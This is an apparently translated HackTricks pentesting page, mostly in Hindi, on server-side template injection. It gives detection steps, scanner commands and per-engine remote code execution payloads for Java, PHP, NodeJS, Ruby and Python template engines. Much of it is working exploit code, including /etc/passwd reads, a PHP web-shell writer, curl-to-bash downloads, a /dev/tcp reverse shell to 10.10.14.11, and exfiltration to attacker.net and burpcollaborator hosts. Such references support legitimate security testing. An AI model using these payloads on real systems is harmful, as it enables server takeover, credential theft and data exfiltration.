SSTI (Server Side Template Injection)

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

RootedCON स्पेन में सबसे प्रासंगिक साइबर सुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबर सुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।

What is SSTI (Server-Side Template Injection)

Server-side template injection एक सुरक्षा कमजोरी है जो तब होती है जब एक हमलावर एक टेम्पलेट में दुर्भावनापूर्ण कोड इंजेक्ट कर सकता है जो सर्वर पर निष्पादित होता है। यह कमजोरी विभिन्न तकनीकों में पाई जा सकती है, जिसमें Jinja शामिल है।

Jinja एक लोकप्रिय टेम्पलेट इंजन है जो वेब अनुप्रयोगों में उपयोग किया जाता है। आइए एक उदाहरण पर विचार करें जो Jinja का उपयोग करते हुए एक कमजोर कोड स्निपेट को प्रदर्शित करता है:

output = template.render(name=request.args.get('name'))

इस कमजोर कोड में, उपयोगकर्ता के अनुरोध से name पैरामीटर को सीधे render फ़ंक्शन का उपयोग करके टेम्पलेट में पास किया जाता है। यह संभावित रूप से एक हमलावर को name पैरामीटर में दुर्भावनापूर्ण कोड इंजेक्ट करने की अनुमति दे सकता है, जिससे सर्वर-साइड टेम्पलेट इंजेक्शन हो सकता है।

उदाहरण के लिए, एक हमलावर इस तरह के पेलोड के साथ एक अनुरोध तैयार कर सकता है:

http://vulnerable-website.com/?name={{bad-stuff-here}}

The payload {{bad-stuff-here}} को name पैरामीटर में इंजेक्ट किया गया है। यह पेलोड Jinja टेम्पलेट निर्देशों को शामिल कर सकता है जो हमलावर को अनधिकृत कोड निष्पादित करने या टेम्पलेट इंजन में हेरफेर करने की अनुमति देते हैं, जिससे सर्वर पर नियंत्रण प्राप्त करने की संभावना होती है।

सर्वर-साइड टेम्पलेट इंजेक्शन कमजोरियों को रोकने के लिए, डेवलपर्स को यह सुनिश्चित करना चाहिए कि उपयोगकर्ता इनपुट को टेम्पलेट में डालने से पहले सही तरीके से साफ और मान्य किया गया है। इनपुट मान्यता को लागू करना और संदर्भ-जानकारी वाले एस्केपिंग तकनीकों का उपयोग करना इस कमजोरी के जोखिम को कम करने में मदद कर सकता है।

Detection

सर्वर-साइड टेम्पलेट इंजेक्शन (SSTI) का पता लगाने के लिए, प्रारंभ में, टेम्पलेट को फज़ करना एक सीधा दृष्टिकोण है। इसमें टेम्पलेट में विशेष वर्णों की एक श्रृंखला (${{<%[%'"}}%\) को इंजेक्ट करना और नियमित डेटा की तुलना में इस विशेष पेलोड के लिए सर्वर की प्रतिक्रिया में अंतर का विश्लेषण करना शामिल है। कमजोरी के संकेतों में शामिल हैं:

  • फेंके गए त्रुटियाँ, जो कमजोरी और संभावित रूप से टेम्पलेट इंजन को प्रकट करती हैं।

  • परावर्तन में पेलोड की अनुपस्थिति, या इसके कुछ हिस्सों का गायब होना, यह संकेत करता है कि सर्वर इसे नियमित डेटा की तुलना में अलग तरीके से संसाधित करता है।

  • Plaintext Context: XSS से अलग करने के लिए यह जांचें कि क्या सर्वर टेम्पलेट अभिव्यक्तियों का मूल्यांकन करता है (जैसे, {{7*7}}, ${7*7})।

  • Code Context: इनपुट पैरामीटर को बदलकर कमजोरी की पुष्टि करें। उदाहरण के लिए, http://vulnerable-website.com/?greeting=data.username में greeting को बदलकर देखें कि क्या सर्वर का आउटपुट गतिशील है या स्थिर, जैसे greeting=data.username}}hello जो उपयोगकर्ता नाम लौटाता है।

Identification Phase

टेम्पलेट इंजन की पहचान करने के लिए त्रुटि संदेशों का विश्लेषण करना या विभिन्न भाषा-विशिष्ट पेलोड का मैन्युअल परीक्षण करना शामिल है। सामान्य पेलोड जो त्रुटियाँ उत्पन्न करते हैं उनमें ${7/0}, {{7/0}}, और <%= 7/0 %> शामिल हैं। गणितीय संचालन के लिए सर्वर की प्रतिक्रिया को देखना विशिष्ट टेम्पलेट इंजन को पहचानने में मदद करता है।

Tools

एक प्रभावी SSTI + CSTI स्कैनर जो नवीनतम पॉलीग्लॉट्स का उपयोग करता है

tinja url -u "http://example.com/?name=Kirlia" -H "Authentication: Bearer ey..."
tinja url -u "http://example.com/" -d "username=Kirlia"  -c "PHPSESSID=ABC123..."

python3 sstimap.py -i -l 5
python3 sstimap.py -u "http://example.com/" --crawl 5 --forms
python3 sstimap.py -u "https://example.com/page?name=John" -s

python2.7 ./tplmap.py -u 'http://www.target.com/page?name=John*' --os-shell
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=*&comment=supercomment&link"
python2.7 ./tplmap.py -u "http://192.168.56.101:3000/ti?user=InjectHere*&comment=A&link" --level 5 -e jade

एक इंटरैक्टिव टेबल जिसमें सबसे प्रभावी टेम्पलेट इंजेक्शन पॉलीग्लॉट्स और 44 सबसे महत्वपूर्ण टेम्पलेट इंजनों की अपेक्षित प्रतिक्रियाएँ शामिल हैं।

Exploits

Generic

इस wordlist में आप नीचे दिए गए कुछ इंजनों के वातावरण में परिभाषित वेरिएबल्स पा सकते हैं:

Java

Java - Basic injection

${7*7}
${{7*7}}
${class.getClassLoader()}
${class.getResource("").getPath()}
${class.getResource("../../../../../index.htm").getContent()}
// if ${...} doesn't work try #{...}, *{...}, @{...} or ~{...}.

जावा - सिस्टम के पर्यावरण चर प्राप्त करें

${T(java.lang.System).getenv()}

Java - /etc/passwd प्राप्त करें

${T(java.lang.Runtime).getRuntime().exec('cat etc/passwd')}

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}

FreeMarker (Java)

आप अपने पेलोड्स को https://try.freemarker.apache.org पर आजमा सकते हैं

  • {{7*7}} = {{7*7}}

  • ${7*7} = 49

  • #{7*7} = 49 -- (legacy)

  • ${7*'7'} कुछ नहीं

  • ${foobar}

<#assign ex = "freemarker.template.utility.Execute"?new()>${ ex("id")}
[#assign ex = 'freemarker.template.utility.Execute'?new()]${ ex('id')}
${"freemarker.template.utility.Execute"?new()("id")}

${product.getClass().getProtectionDomain().getCodeSource().getLocation().toURI().resolve('/home/carlos/my_password.txt').toURL().openStream().readAllBytes()?join(" ")}

Freemarker - सैंडबॉक्स बायपास

⚠️ केवल Freemarker के 2.3.30 से नीचे के संस्करणों पर काम करता है

<#assign classloader=article.class.protectionDomain.classLoader>
<#assign owc=classloader.loadClass("freemarker.template.ObjectWrapper")>
<#assign dwf=owc.getField("DEFAULT_WRAPPER").get(null)>
<#assign ec=classloader.loadClass("freemarker.template.utility.Execute")>
${dwf.newInstance(ec,null)("id")}

अधिक जानकारी

Velocity (Java)

// I think this doesn't work
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($ex=$class.inspect("java.lang.Runtime").type.getRuntime().exec("whoami"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end

// This should work?
#set($s="")
#set($stringClass=$s.getClass())
#set($runtime=$stringClass.forName("java.lang.Runtime").getRuntime())
#set($process=$runtime.exec("cat%20/flag563378e453.txt"))
#set($out=$process.getInputStream())
#set($null=$process.waitFor() )
#foreach($i+in+[1..$out.available()])
$out.read()
#end

अधिक जानकारी

Thymeleaf

Thymeleaf में, SSTI कमजोरियों के लिए एक सामान्य परीक्षण है अभिव्यक्ति ${7*7}, जो इस टेम्पलेट इंजन पर भी लागू होता है। संभावित दूरस्थ कोड निष्पादन के लिए, निम्नलिखित अभिव्यक्तियों का उपयोग किया जा सकता है:

  • SpringEL:

${T(java.lang.Runtime).getRuntime().exec('calc')}
  • OGNL:

${#rt = @java.lang.Runtime@getRuntime(),#rt.exec("calc")}

Thymeleaf को इन अभिव्यक्तियों को विशिष्ट विशेषताओं के भीतर रखा जाना आवश्यक है। हालाँकि, expression inlining अन्य टेम्पलेट स्थानों के लिए समर्थित है, जैसे कि [[...]] या [(...)] का उपयोग करके। इस प्रकार, एक सरल SSTI परीक्षण पेलोड इस तरह दिख सकता है [[${7*7}]]

हालांकि, इस पेलोड के काम करने की संभावना आमतौर पर कम होती है। Thymeleaf की डिफ़ॉल्ट कॉन्फ़िगरेशन गतिशील टेम्पलेट निर्माण का समर्थन नहीं करती है; टेम्पलेट को पूर्वनिर्धारित होना चाहिए। डेवलपर्स को ऑन-द-फ्लाई स्ट्रिंग से टेम्पलेट बनाने के लिए अपना TemplateResolver लागू करने की आवश्यकता होगी, जो असामान्य है।

Thymeleaf expression preprocessing भी प्रदान करता है, जहाँ डबल अंडरस्कोर (__...__) के भीतर अभिव्यक्तियों को पूर्व-प्रसंस्कृत किया जाता है। इस सुविधा का उपयोग अभिव्यक्तियों के निर्माण में किया जा सकता है, जैसा कि Thymeleaf के दस्तावेज़ में प्रदर्शित किया गया है:

#{selection.__${sel.code}__}

Example of Vulnerability in Thymeleaf

निम्नलिखित कोड स्निपेट पर विचार करें, जो शोषण के लिए संवेदनशील हो सकता है:

<a th:href="@{__${path}__}" th:title="${title}">
<a th:href="${''.getClass().forName('java.lang.Runtime').getRuntime().exec('curl -d @/flag.txt burpcollab.com')}" th:title='pepito'>

यह इंगित करता है कि यदि टेम्पलेट इंजन इन इनपुट्स को गलत तरीके से प्रोसेस करता है, तो यह दूरस्थ कोड निष्पादन की ओर ले जा सकता है जो URLs तक पहुँच सकता है जैसे:

http://localhost:8082/(7*7)
http://localhost:8082/(${T(java.lang.Runtime).getRuntime().exec('calc')})

अधिक जानकारी

EL - Expression Language

स्प्रिंग फ्रेमवर्क (जावा)

*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}

फिल्टर बायपास करें

यदि ${...} काम नहीं करता है तो कई वेरिएबल एक्सप्रेशंस का उपयोग किया जा सकता है, जैसे #{...}, *{...}, @{...} या ~{...}

  • /etc/passwd पढ़ें

${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(99).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(32)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(101)).concat(T(java.lang.Character).toString(116)).concat(T(java.lang.Character).toString(99)).concat(T(java.lang.Character).toString(47)).concat(T(java.lang.Character).toString(112)).concat(T(java.lang.Character).toString(97)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(115)).concat(T(java.lang.Character).toString(119)).concat(T(java.lang.Character).toString(100))).getInputStream())}
  • पेलोड जनरेशन के लिए कस्टम स्क्रिप्ट

#!/usr/bin/python3

## Written By Zeyad Abulaban (zAbuQasem)
# Usage: python3 gen.py "id"

from sys import argv

cmd = list(argv[1].strip())
print("Payload: ", cmd , end="\n\n")
converted = [ord(c) for c in cmd]
base_payload = '*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec'
end_payload = '.getInputStream())}'

count = 1
for i in converted:
if count == 1:
base_payload += f"(T(java.lang.Character).toString({i}).concat"
count += 1
elif count == len(converted):
base_payload += f"(T(java.lang.Character).toString({i})))"
else:
base_payload += f"(T(java.lang.Character).toString({i})).concat"
count += 1

print(base_payload + end_payload)

अधिक जानकारी

स्प्रिंग व्यू मैनिपुलेशन (जावा)

__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("touch executed")}__::.x
EL - Expression Language

Pebble (Java)

  • {{ someString.toUPPERCASE() }}

Pebble का पुराना संस्करण ( < संस्करण 3.0.9):

{{ variable.getClass().forName('java.lang.Runtime').getRuntime().exec('ls -la') }}

नई संस्करण Pebble :

{% set cmd = 'id' %}






{% set bytes = (1).TYPE
.forName('java.lang.Runtime')
.methods[6]
.invoke(null,null)
.exec(cmd)
.inputStream
.readAllBytes() %}
{{ (1).TYPE
.forName('java.lang.String')
.constructors[0]
.newInstance(([bytes]).toArray()) }}

जिनजावा (Java)

{{'a'.toUpperCase()}} would result in 'A'
{{ request }} would return a request object like com.[...].context.TemplateContextRequest@23548206

Jinjava एक ओपन सोर्स प्रोजेक्ट है जिसे Hubspot द्वारा विकसित किया गया है, उपलब्ध है https://github.com/HubSpot/jinjava/

Jinjava - कमांड निष्पादन

इससे ठीक किया गया https://github.com/HubSpot/jinjava/pull/230

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}

अधिक जानकारी

Hubspot - HuBL (Java)

  • {% %} कथन सीमांकक

  • {{ }} अभिव्यक्ति सीमांकक

  • {# #} टिप्पणी सीमांकक

  • {{ request }} - com.hubspot.content.hubl.context.TemplateContextRequest@23548206

  • {{'a'.toUpperCase()}} - "A"

  • {{'a'.concat('b')}} - "ab"

  • {{'a'.getClass()}} - java.lang.String

  • {{request.getClass()}} - class com.hubspot.content.hubl.context.TemplateContextRequest

  • {{request.getClass().getDeclaredMethods()[0]}} - public boolean com.hubspot.content.hubl.context.TemplateContextRequest.isDebug()

"com.hubspot.content.hubl.context.TemplateContextRequest" के लिए खोजें और Jinjava प्रोजेक्ट को Github पर खोजें.

{{request.isDebug()}}
//output: False

//Using string 'a' to get an instance of class sun.misc.Launcher
{{'a'.getClass().forName('sun.misc.Launcher').newInstance()}}
//output: sun.misc.Launcher@715537d4

//It is also possible to get a new object of the Jinjava class
{{'a'.getClass().forName('com.hubspot.jinjava.JinjavaConfig').newInstance()}}
//output: com.hubspot.jinjava.JinjavaConfig@78a56797

//It was also possible to call methods on the created object by combining the



{% %} and {{ }} blocks
{% set ji='a'.getClass().forName('com.hubspot.jinjava.Jinjava').newInstance().newInterpreter() %}


{{ji.render('{{1*2}}')}}
//Here, I created a variable 'ji' with new instance of com.hubspot.jinjava.Jinjava class and obtained reference to the newInterpreter method. In the next block, I called the render method on 'ji' with expression {{1*2}}.

//{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"new java.lang.String('xxx')\")}}
//output: xxx

//RCE
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"whoami\\\"); x.start()\")}}
//output: java.lang.UNIXProcess@1e5f456e

//RCE with org.apache.commons.io.IOUtils.
{{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"netstat\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//output: netstat execution

//Multiple arguments to the commands
Payload: {{'a'.getClass().forName('javax.script.ScriptEngineManager').newInstance().getEngineByName('JavaScript').eval(\"var x=new java.lang.ProcessBuilder; x.command(\\\"uname\\\",\\\"-a\\\"); org.apache.commons.io.IOUtils.toString(x.start().getInputStream())\")}}
//Output: Linux bumpy-puma 4.9.62-hs4.el6.x86_64 #1 SMP Fri Jun 1 03:00:47 UTC 2018 x86_64 x86_64 x86_64 GNU/Linux

अधिक जानकारी

एक्सप्रेशन लैंग्वेज - EL (Java)

  • ${"aaaa"} - "aaaa"

  • ${99999+1} - 100000.

  • #{7*7} - 49

  • ${{7*7}} - 49

  • ${{request}}, ${{session}}, {{faceContext}}

Expression Language (EL) एक मौलिक विशेषता है जो प्रस्तुति परत (जैसे वेब पृष्ठ) और एप्लिकेशन लॉजिक (जैसे प्रबंधित बीन) के बीच बातचीत को सुगम बनाती है JavaEE में। इसका उपयोग कई JavaEE तकनीकों में इस संचार को सरल बनाने के लिए किया जाता है। EL का उपयोग करने वाली प्रमुख JavaEE तकनीकें शामिल हैं:

  • JavaServer Faces (JSF): JSF पृष्ठों में घटकों को संबंधित बैकएंड डेटा और क्रियाओं से जोड़ने के लिए EL का उपयोग करता है।

  • JavaServer Pages (JSP): JSP में डेटा को एक्सेस और मैनिपुलेट करने के लिए EL का उपयोग किया जाता है, जिससे पृष्ठ तत्वों को एप्लिकेशन डेटा से जोड़ना आसान हो जाता है।

  • Contexts and Dependency Injection for Java EE (CDI): EL CDI के साथ एकीकृत होता है ताकि वेब परत और प्रबंधित बीन के बीच निर्बाध बातचीत सुनिश्चित की जा सके, जिससे एक अधिक संगठित एप्लिकेशन संरचना सुनिश्चित होती है।

EL इंटरप्रेटर्स के शोषण के बारे में अधिक जानने के लिए निम्नलिखित पृष्ठ देखें:

EL - Expression Language

ग्रूवी (Java)

निम्नलिखित सुरक्षा प्रबंधक बायपास इस लेख से लिए गए हैं।

//Basic Payload
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "ping cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net "
assert java.lang.Runtime.getRuntime().exec(cmd.split(" "))
})
def x

//Payload to get output
import groovy.*;
@groovy.transform.ASTTest(value={
cmd = "whoami";
out = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmd.split(" ")).getInputStream()).useDelimiter("\\A").next()
cmd2 = "ping " + out.replaceAll("[^a-zA-Z0-9]","") + ".cq6qwx76mos92gp9eo7746dmgdm5au.burpcollaborator.net";
java.lang.Runtime.getRuntime().exec(cmd2.split(" "))
})
def x

//Other payloads
new groovy.lang.GroovyClassLoader().parseClass("@groovy.transform.ASTTest(value={assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")})def x")
this.evaluate(new String(java.util.Base64.getDecoder().decode("QGdyb292eS50cmFuc2Zvcm0uQVNUVGVzdCh2YWx1ZT17YXNzZXJ0IGphdmEubGFuZy5SdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKCJpZCIpfSlkZWYgeA==")))
this.evaluate(new String(new byte[]{64, 103, 114, 111, 111, 118, 121, 46, 116, 114, 97, 110, 115, 102, 111, 114, 109, 46, 65, 83, 84, 84, 101, 115, 116, 40, 118, 97, 108, 117, 101, 61, 123, 97, 115, 115, 101, 114, 116, 32, 106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101, 46, 103, 101, 116, 82,117, 110, 116, 105, 109, 101, 40, 41, 46, 101, 120, 101, 99, 40, 34, 105, 100, 34, 41, 125, 41, 100, 101, 102, 32, 120}))

​​RootedCON स्पेन में सबसे प्रासंगिक साइबरसुरक्षा कार्यक्रम है और यूरोप में सबसे महत्वपूर्ण में से एक है। तकनीकी ज्ञान को बढ़ावा देने के मिशन के साथ, यह कांग्रेस हर अनुशासन में प्रौद्योगिकी और साइबरसुरक्षा पेशेवरों के लिए एक उबालता हुआ बैठक बिंदु है।

Smarty (PHP)

{$smarty.version}
{php}echo `id`;{/php} //deprecated in smarty v3
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
{system('ls')} // compatible v3
{system('cat index.php')} // compatible v3

अधिक जानकारी

Twig (PHP)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{7*'7'}} = 49

  • {{1/0}} = Error

  • {{foobar}} Nothing

#Get Info
{{_self}} #(Ref. to current application)
{{_self.env}}
{{dump(app)}}
{{app.request.server.all|join(',')}}

#File read
"{{'/etc/passwd'|file_excerpt(1,30)}}"@

#Exec code
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("whoami")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id;uname -a;hostname")}}
{{['id']|filter('system')}}
{{['cat\x20/etc/passwd']|filter('system')}}
{{['cat$IFS/etc/passwd']|filter('system')}}
{{['id',""]|sort('system')}}

#Hide warnings and errors for automatic exploitation
{{["error_reporting", "0"]|sort("ini_set")}}

Twig - टेम्पलेट प्रारूप

$output = $twig > render (
'Dear' . $_GET['custom_greeting'],
array("first_name" => $user.first_name)
);

$output = $twig > render (
"Dear {first_name}",
array("first_name" => $user.first_name)
);

अधिक जानकारी

Plates (PHP)

Plates एक टेम्पलेटिंग इंजन है जो PHP के लिए स्वदेशी है, जो Twig से प्रेरणा लेता है। हालाँकि, Twig के विपरीत, जो एक नई सिंटैक्स पेश करता है, Plates टेम्पलेट्स में स्वदेशी PHP कोड का उपयोग करता है, जिससे यह PHP डेवलपर्स के लिए सहज हो जाता है।

Controller:

// Create new Plates instance
$templates = new League\Plates\Engine('/path/to/templates');

// Render a template
echo $templates->render('profile', ['name' => 'Jonathan']);

पृष्ठ टेम्पलेट:

<?php $this->layout('template', ['title' => 'User Profile']) ?>

<h1>User Profile</h1>
<p>Hello, <?=$this->e($name)?></p>

लेआउट टेम्पलेट:

<html>
<head>
<title><?=$this->e($title)?></title>
</head>
<body>
<?=$this->section('content')?>
</body>
</html>

अधिक जानकारी

PHPlib और HTML_Template_PHPLIB (PHP)

HTML_Template_PHPLIB PHPlib के समान है लेकिन इसे Pear पर पोर्ट किया गया है।

authors.tpl

<html>
<head><title>{PAGE_TITLE}</title></head>
<body>
<table>
<caption>Authors</caption>
<thead>
<tr><th>Name</th><th>Email</th></tr>
</thead>
<tfoot>
<tr><td colspan="2">{NUM_AUTHORS}</td></tr>
</tfoot>
<tbody>
<!-- BEGIN authorline -->
<tr><td>{AUTHOR_NAME}</td><td>{AUTHOR_EMAIL}</td></tr>
<!-- END authorline -->
</tbody>
</table>
</body>
</html>

authors.php

<?php
//we want to display this author list
$authors = array(
'Christian Weiske'  => 'cweiske@php.net',
'Bjoern Schotte'     => 'schotte@mayflower.de'
);

require_once 'HTML/Template/PHPLIB.php';
//create template object
$t =& new HTML_Template_PHPLIB(dirname(__FILE__), 'keep');
//load file
$t->setFile('authors', 'authors.tpl');
//set block
$t->setBlock('authors', 'authorline', 'authorline_ref');

//set some variables
$t->setVar('NUM_AUTHORS', count($authors));
$t->setVar('PAGE_TITLE', 'Code authors as of ' . date('Y-m-d'));

//display the authors
foreach ($authors as $name => $email) {
$t->setVar('AUTHOR_NAME', $name);
$t->setVar('AUTHOR_EMAIL', $email);
$t->parse('authorline_ref', 'authorline', true);
}

//finish and echo
echo $t->finish($t->parse('OUT', 'authors'));
?>

अधिक जानकारी

जेड (NodeJS)

- var x = root.process
- x = x.mainModule.require
- x = x('child_process')
= x.exec('id | nc attacker.net 80')
#{root.process.mainModule.require('child_process').spawnSync('cat', ['/etc/passwd']).stdout}

अधिक जानकारी

patTemplate (PHP)

patTemplate एक नॉन-कंपाइलिंग PHP टेम्पलेटिंग इंजन है, जो एक दस्तावेज़ को विभिन्न भागों में विभाजित करने के लिए XML टैग का उपयोग करता है

<patTemplate:tmpl name="page">
This is the main page.
<patTemplate:tmpl name="foo">
It contains another template.
</patTemplate:tmpl>
<patTemplate:tmpl name="hello">
Hello {NAME}.<br/>
</patTemplate:tmpl>
</patTemplate:tmpl>

अधिक जानकारी

हैंडलबार्स (NodeJS)

पाथ ट्रैवर्सल (अधिक जानकारी यहाँ पर)।

curl -X 'POST' -H 'Content-Type: application/json' --data-binary $'{\"profile\":{"layout\": \"./../routes/index.js\"}}' 'http://ctf.shoebpatel.com:9090/'
  • = त्रुटि

  • ${7*7} = ${7*7}

  • कुछ नहीं

{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').exec('whoami');"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}

URLencoded:
%7B%7B%23with%20%22s%22%20as%20%7Cstring%7C%7D%7D%0D%0A%20%20%7B%7B%23with%20%22e%22%7D%7D%0D%0A%20%20%20%20%7B%7B%23with%20split%20as%20%7Cconslist%7C%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epush%20%28lookup%20string%2Esub%20%22constructor%22%29%7D%7D%0D%0A%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%23with%20string%2Esplit%20as%20%7Ccodelist%7C%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epush%20%22return%20require%28%27child%5Fprocess%27%29%2Eexec%28%27whoami%27%29%3B%22%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7Bthis%2Epop%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%23each%20conslist%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%23with%20%28string%2Esub%2Eapply%200%20codelist%29%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7B%7Bthis%7D%7D%0D%0A%20%20%20%20%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%20%20%20%20%7B%7B%2Feach%7D%7D%0D%0A%20%20%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%20%20%7B%7B%2Fwith%7D%7D%0D%0A%20%20%7B%7B%2Fwith%7D%7D%0D%0A%7B%7B%2Fwith%7D%7D

अधिक जानकारी

JsRender (NodeJS)

टेम्पलेट

विवरण

आउटपुट का मूल्यांकन और रेंडर करना

एचटीएमएल एन्कोडेड आउटपुट का मूल्यांकन और रेंडर करना

टिप्पणी

और

कोड की अनुमति (डिफ़ॉल्ट रूप से अक्षम)

  • = 49

क्लाइंट साइड

{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}

सर्वर साइड

{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}

अधिक जानकारी

PugJs (NodeJS)

  • #{7*7} = 49

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}

  • #{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}

उदाहरण सर्वर साइड रेंडर

var pugjs = require('pug');
home = pugjs.render(injected_page)

अधिक जानकारी

NUNJUCKS (NodeJS)

  • {{7*7}} = 49

  • {{foo}} = कोई आउटपुट नहीं

  • #{7*7} = #{7*7}

  • {{console.log(1)}} = त्रुटि

{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}

अधिक जानकारी

ERB (Ruby)

  • {{7*7}} = {{7*7}}

  • ${7*7} = ${7*7}

  • <%= 7*7 %> = 49

  • <%= foobar %> = Error

<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>

अधिक जानकारी

Slim (Ruby)

  • { 7 * 7 }

{ %x|env| }

अधिक जानकारी

Python

arbitrary command execution bypassing sandboxes के बारे में ट्रिक्स जानने के लिए निम्नलिखित पृष्ठ पर जाएं:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49

  • ${7*7} = ${7*7}

  • {{foobar}} = Error

  • {{7*'7'}} = 7777777

{% import foobar %} = Error
{% import os %}

{% import os %}







{{os.system('whoami')}}
{{os.system('whoami')}}

अधिक जानकारी

Jinja2 (Python)

आधिकारिक वेबसाइट

Jinja2 Python के लिए एक पूर्ण विशेषताओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन है, एक वैकल्पिक एकीकृत सैंडबॉक्स निष्पादन वातावरण है, व्यापक रूप से उपयोग किया जाता है और BSD लाइसेंस प्राप्त है।

  • {{7*7}} = Error

  • ${7*7} = ${7*7}

  • {{foobar}} Nothing

  • {{4*4}}[[5*5]]

  • {{7*'7'}} = 7777777

  • {{config}}

  • {{config.items()}}

  • {{settings.SECRET_KEY}}

